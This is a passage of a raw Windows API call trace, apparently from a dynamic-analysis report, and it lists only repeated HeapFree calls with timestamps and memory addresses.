lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0257.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0257.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0257.850] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0257.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0257.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0257.852] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0257.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0257.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0257.855] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0257.856] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0257.856] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0258.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0258.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0258.760] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0258.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0258.761] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0258.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0258.763] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0258.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0258.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0258.764] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0258.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0258.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0258.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0258.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0258.768] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0258.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0258.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0258.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0258.769] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0258.771] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0259.105] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0259.207] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0259.509] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0259.557] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0259.559] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0259.559] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0259.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0259.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0259.728] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0259.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0259.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0259.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0259.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0259.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0259.731] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0259.748] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0259.778] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0259.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0259.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0259.854] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0260.037] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.038] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.116] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.117] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.205] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0260.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0260.206] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0260.209] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0260.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0260.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0260.211] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0260.240] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0260.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0260.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0260.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0260.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0260.242] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0260.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0260.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0260.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0260.246] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0260.247] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0260.250] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0260.250] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0260.286] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0260.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0260.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0260.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0260.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0260.290] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0261.042] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.043] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.044] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0261.044] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.046] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.046] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0261.050] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0261.050] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0261.050] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0261.050] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.050] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0261.074] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0261.075] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0261.318] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0261.321] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0261.322] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0261.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0261.324] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0261.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0261.475] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0261.476] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0261.479] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.481] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.483] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.484] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.486] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.490] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.538] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.545] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.552] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.556] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.579] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.584] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.587] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.595] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.601] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.841] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.842] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.847] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.849] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.851] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.853] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.857] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.859] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.861] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.865] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.887] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.897] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.964] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.972] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.973] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.978] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0261.996] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.002] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.007] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.014] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.019] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.023] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.316] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.320] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.325] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.342] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.345] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.350] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.359] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.363] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.374] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.380] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.385] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.404] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.405] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.420] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.431] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0262.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0262.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0262.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0262.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0262.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0262.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.188] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0263.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.191] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.194] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.194] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.196] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.197] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.203] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.204] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.226] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.283] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.284] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.285] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.286] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0263.287] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0263.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.328] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.340] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.341] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.343] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0263.343] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.345] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.347] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.347] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.347] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0263.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0263.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0263.351] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0263.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0263.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 